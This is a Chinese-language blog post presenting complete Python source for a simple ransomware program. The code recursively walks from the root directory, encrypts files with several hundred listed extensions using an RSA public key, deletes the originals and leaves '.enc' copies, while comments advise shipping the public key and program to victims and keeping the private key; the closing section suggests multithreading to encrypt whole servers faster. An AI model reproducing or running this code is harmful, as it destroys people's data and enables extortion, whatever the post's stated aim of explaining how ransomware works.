首页 > 编程语言 >Python实现简易勒索病毒

Python实现简易勒索病毒

时间:2023-04-14 14:34:11浏览次数:59  
标签:加密 勒索 Python rsa 简易 file path data name

一、勒索病毒

  简单来说,勒索病毒就是通过加密受害者电脑的本地数据,向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法,我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密算法,依赖于大质数分解难题,通过公钥无法轻易破解私钥。此demo的核心思想就是在攻击者本地生成RSA公私钥,并把私钥保存起来,使用公钥加密受害者电脑上的数据。废话不多说,直接上代码。

二、Python简易勒索病毒

import base64
import os.path
 
import rsa
 
#生产1024位公私钥并保存为.pem  先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可
# pub, priv = rsa.newkeys(1024)
#
# pub = pub.save_pkcs1()
# with open(f"./keys/pubkey.pem", mode="wb") as file:
#     file.write(pub)
#
# priv = priv.save_pkcs1()
# with open(f"./keys/privkey.pem", mode="wb") as file:
#     file.write(priv)
 
 
#预定义想要加密的文件后缀名,可以自己选择
target_list_str = ".txt  .exe  .php  .pl  .7z  .rar  .m4a  .wma  .avi  .wmv  .csv  .d3dbsp  .sc2save  .sie  .sum  " \
                  ".ibank  .t13  .t12  .qdf  .gdb  .tax  .pkpass  .bc6  .bc7  .bkp  .qic  .bkf  .sidn  .sidd  .mddata " \
                  " .itl  .itdb  .icxs  .hvpl  .hplg  .hkdb  .mdbackup  .syncdb  .gho  .cas  .svg  .map  .wmo  .itm  " \
                  ".sb  .fos  .mcgame  .vdf  .ztmp  .sis  .sid  .ncf  .menu  .layout  .dmp  .blob  .esm  .vtf  " \
                  ".dazip  .fpk  .mlx  .kf  .iwd  .vpk  .tor  .psk  .rim  .w3x  .fsh  .ntl  .arch00  .lvl  .snx  .cfr " \
                  " .ff  .vpp_pc  .lrf  .m2  .mcmeta  .vfs0  .mpqge  .kdb  .db0  .mp3  .upx  .rofl  .hkx  .bar  .upk  " \
                  ".das  .iwi  .litemod  .asset  .forge  .ltx  .bsa  .apk  .re4  .sav  .lbf  .slm  .bik  .epk  " \
                  ".rgss3a  .pak  .big  .unity3d  .wotreplay  .xxx  .desc  .py  .m3u  .flv  .js  .css  .rb  .png  " \
                  ".jpeg  .p7c  .p7b  .p12  .pfx  .pem  .crt  .cer  .der  .x3f  .srw  .pef  .ptx  .r3d  .rw2  .rwl  " \
                  ".raw  .raf  .orf  .nrw  .mrwref  .mef  .erf  .kdc  .dcr  .cr2  .crw  .bay  .sr2  .srf  .arw  .3fr  " \
                  ".dng  .jpeg  .jpg  .cdr  .indd  .ai  .eps  .pdf  .pdd  .psd  .dbfv  .mdf  .wb2  .rtf  .wpd  .dxg  " \
                  ".xf  .dwg  .pst  .accdb  .mdb  .pptm  .pptx  .ppt  .xlk  .xlsb  .xlsm  .xlsx  .xls  .wps  .docm  " \
                  ".docx  .doc  .odb  .odc  .odm  .odp  .ods  .odt  .sql  .zip  .tar  .tar.gz  .tgz  .biz  .ocx  " \
                  ".html  .htm  .3gp  .srt  .cpp  .mid  .mkv  .mov  .asf  .mpeg  .vob  .mpg  .fla  .swf  .wav  .qcow2 " \
                  " .vdi  .vmdk  .vmx  .gpg  .aes  .ARC  .PAQ  .tar.bz2  .tbk  .bak  .djv  .djvu  .bmp  .cgm  .tif  " \
                  ".tiff  .NEF  .cmd  .class  .jar  .java  .asp  .brd  .sch  .dch  .dip  .vbs  .asm  .pas  .ldf  .ibd " \
                  " .MYI  .MYD  .frm  .dbf  .SQLITEDB  .SQLITE3  .asc  .lay6  .lay  .ms11  .sldm  " \
                  ".sldx  .ppsm  .ppsx  .ppam  .docb  .mml  .sxm  .otg  .slk  .xlw  .xlt  .xlm  .xlc  .dif  .stc  " \
                  ".sxc  .ots  .ods  .hwp  .dotm  .dotx .docm  .DOT  .max  .xml  .uot  .stw  .sxw  .ott  .csr  .key  " \
 
 
# 加密过程
def rsa_encrypt(filename):
 
    if filename.split(".")[-1] in target_list:
        with open("./pubkey.pem") as file:  #加载RSA公钥,准备加密
            pub = file.read()
            pub = rsa.PublicKey.load_pkcs1(pub)
        with open(filename, mode='rb') as file:
            data = file.read()
 
        # 删除原始文件
        os.remove(filename)
        res = []
        for i in range(0, len(data), 117):
            res.append(rsa.encrypt(data[i:i + 117], pub))
        byte_data = b''.join(res)
        byte_data = base64.b64encode(byte_data).decode()
 
        filename = filename + ".enc" #加密后的文件后缀名改为.enc
        with open(filename, mode='w') as file:
            file.write(byte_data)
 
 
def encrypt(file_path):
    if os.path.isdir(file_path):
        file_names = os.listdir(file_path)
        for file_name in file_names:
            file_name = os.path.join(file_path, file_name)
            if os.path.isdir(file_name):
                encrypt(file_name)
            else:
                rsa_encrypt(file_name)
    else:
        rsa_encrypt(file_path)
 
 
# 解密过程,当然如果当为攻击程序肯定不能发送到被害者服务器,此处是为了防止误操作将自己文件加密后的还原(或者确保受害者无法浏览到此代码也可一起发送)
 
def rsa_decrypt(file_name):
    if file_name.split(".")[-2] in target_list:
        with open("./privkey.pem", mode="rb") as file:
            priv = file.read()
            priv = rsa.PrivateKey.load_pkcs1(priv)
        with open(file_name, mode='r') as file:
            data = file.read()
 
        data = base64.b64decode(data.encode())
 
        res = []
 
        for i in range(0, len(data), 128):
            temp_plaintext = rsa.decrypt(data[i:i + 128], priv)
            res.append(temp_plaintext)
 
        last = b''.join(res)
 
        #删除加密文件
        os.remove(file_name)
 
        with open(file_name.replace(".enc", ""), mode='wb') as file:
            file.write(last)
 
 
def decrypt(file_path):
    if os.path.isdir(file_path):
        file_names = os.listdir(file_path)
        for file_name in file_names:
            file_name = os.path.join(file_path, file_name)
            if os.path.isdir(file_name):
                decrypt(file_name)
            else:
                rsa_decrypt(file_name)
    else:
        rsa_decrypt(file_path)
 
 
if __name__ == "__main__":
    target_list = []
    for i in target_list_str.split("."):
        target_list.append(i.strip())
 
    encrypt("/") #此处自定义想要加密的目录名称,我这里写成了linux下的根目录
    #decrypt("/")#解密加密后的文件

 

三、总结

  此代码若加密单独文件夹下的文件或者加密少量文件效率还可以,但是如果加密整个大的服务器系统可能会导致卡死。我觉得解决办法可以是使用多线程,python中的threading进行多线程加密。同时可能存在当前用户权限不够导致文件无法加密的情况,这个问题目前还没想到解决办法,以后有时间再来研究一下。但此demo加密一些普通文件夹还是没有问题的,主要是了解一下勒索病毒的原理以及一些常用的加密算法。欢迎各路大佬留下评论交流!

标签:加密,勒索,Python,rsa,简易,file,path,data,name
From: https://www.cnblogs.com/hkgan/p/17318209.html

相关文章

  • macos shangflask tradingview python环境安装
    1.Homebrew4.0后更新报错问题原文参考brewupdateFailedtodownloadhttps://formulae.brew.sh/api/formula.jws.json!Homebrew4.0进行了一项最大的改动,组织方式从Git仓库管理改为JSON文件下载。JSON配置文件会从formulae.brew.sh下载,本地的homebrew/core、homebrew/cas......
  • 【Python】pandas 将某列相同值作为index, 整合数据
    pd.pivot_table#dfvalueUpdateTimefactorNamevalue02023-03-2808:00:18.532805风向147.6912023-03-2808:00:18.532805气压101.7122023-03-2808:00:18.532805风速0.2832023-03-2808:00:18.5328......
  • 动态规划——经典问题的实现(Python)
    动态规划(dunamicprogramming,DP)是运筹学的一个分支,是求解决策过程最优化的过程。将复杂的多段决策问题分解为若干相互关联的子决策问题以获得最优决策序列的方法,是由美国数学家贝尔曼(R.E.Bellman)于20世纪50年代提出,它的基本原理是贝尔曼在《动态规划》(1957年)一书中所提出的最......
  • python3语法
    1、编码默认情况下,Python3源码文件以UTF-8编码,所有字符串都是unicode字符串。指定不同编码:#-*-coding:cp-1252-*-2、标识符(1)首字符必须是字母或下划线(2)标识符其他字符由数字、字母和下划线组成(3)标识符对大小写敏感(4)Python3中,可以用中文作为变量名,非......
  • Python学习笔记一:列表
    一.列表1.定义列表,是由一系列按照特定顺序排列的元素组成的一个有序集合。其中可以包含字母,数字,或者其他任何元素,每一个元素之间不一定有关系。不过,在创建列表时,建议还是将相同类型的元素或者相互之间有关联的元素放在一个列表中。鉴于包含的元素的数量,通常在给列表......
  • Python+Requests+Pytest接口自动化测试微信接口实例
         pytest.ini配置文件[pytest]log_cli=truelog_level=NOTSETlog_format=%(asctime)s%(levelname)s%(message)slog_date_format=%Y-%m-%d%H:%M:%Saddopts=-vs--alluredir./temp-m'file'log_file=./log/test.loglog_file_level=infol......
  • Python中re.finditer函数的使用
    re模块简介re模块是Python标准库中的正则表达式模块。正则表达式是一种特殊的字符串处理方式,常用于匹配文本中的特定模式。re模块可以提供针对正则表达式的支持。re.finditer()函数re.finditer(pattern,string,flags=0)函数功能:扫描整个字符串,并返回对每个匹配项的迭......
  • 用python和批处理命令实现Markdown内嵌图片
    img.py代码如下importbase64fromPILimportImage,ImageGrabimg_name="C:\\Users\\Lenovo\\Desktop\\grab_clipboard.png"#获取并保存剪贴板图片im=ImageGrab.grabclipboard()ifisinstance(im,Image.Image):#print("Image:size:%s,mode:%......
  • Python与c语言的区别与联系
    Python与c语言都是一种机器学习语言,进过长时间的学习和总结,我将Python与c语言的一些特点总结成以下几点,不全面还望多多指正。1、因为C语言是编译型语言,python是解释型语言,所以python的执行速度没有C语言那么快。2、基本元素的区别,python中的基本元素相比于C语言大大减少,比较特殊......
  • Python 之操作redis
    一、示例代码importredispool=redis.ConnectionPool(host='127.0.0.1',port=6379,password="",max_connections=10)redis_obj=redis.Redis(connection_pool=pool,decode_responses=True)#操作字符串redis_obj.set(name="password",valu......